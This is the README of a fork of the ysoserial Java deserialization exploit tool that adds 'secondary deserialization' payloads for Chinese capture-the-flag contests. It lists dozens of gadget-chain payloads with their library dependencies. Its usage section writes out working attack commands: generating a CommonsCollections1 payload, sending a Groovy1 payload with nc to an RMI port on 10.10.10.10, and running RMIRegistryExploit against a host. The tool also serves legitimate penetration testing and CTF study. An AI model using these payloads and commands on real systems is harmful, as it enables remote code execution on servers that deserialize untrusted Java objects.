A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
添加了二次反序列化内容，更适合中国宝宝CTF体制
家人们谁懂啊，居然没人做二次反序列化的，我先写三个payload为敬
目前SecObjRMICon，SecObjBA和SecObjROME可用，后续会添加C3P0
参考来自
http://tttang.com/archive/1701/
https://github.com/Y4tacker/JavaSec/blob/main/其他/Java二次反序列化/Java触发二次反序列化的点.md
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
java -jar ysoserial-Second-0.0.1-all.jar
Y SO SERIAL?
Add some payload by J1an
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Usage: java -jar ysoserial-[version]-all.jar secobjxxx '原payload:command'
Available payload types:
七月 23, 2023 4:06:58 下午 org.reflections.Reflections scan
信息: Reflections took 82 ms to scan 1 urls, producing 18 keys and 165 values
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
SecObjBA @J1an jackson
SecObjRMICon @J1an commons-collections:3.1
SecObjROME @J1an rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 $ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin
$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exeDownload the latest release jar from GitHub releases.
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
- Fork it
- Create your feature branch (
git checkout -b my-new-feature) - Commit your changes (
git commit -am 'Add some feature') - Push to the branch (
git push origin my-new-feature) - Create new Pull Request
- Java-Deserialization-Cheat-Sheet: info on vulnerabilities, tools, blogs/write-ups, etc.
- marshalsec: similar project for various Java deserialization formats/libraries
- ysoserial.net: similar project for .NET deserialization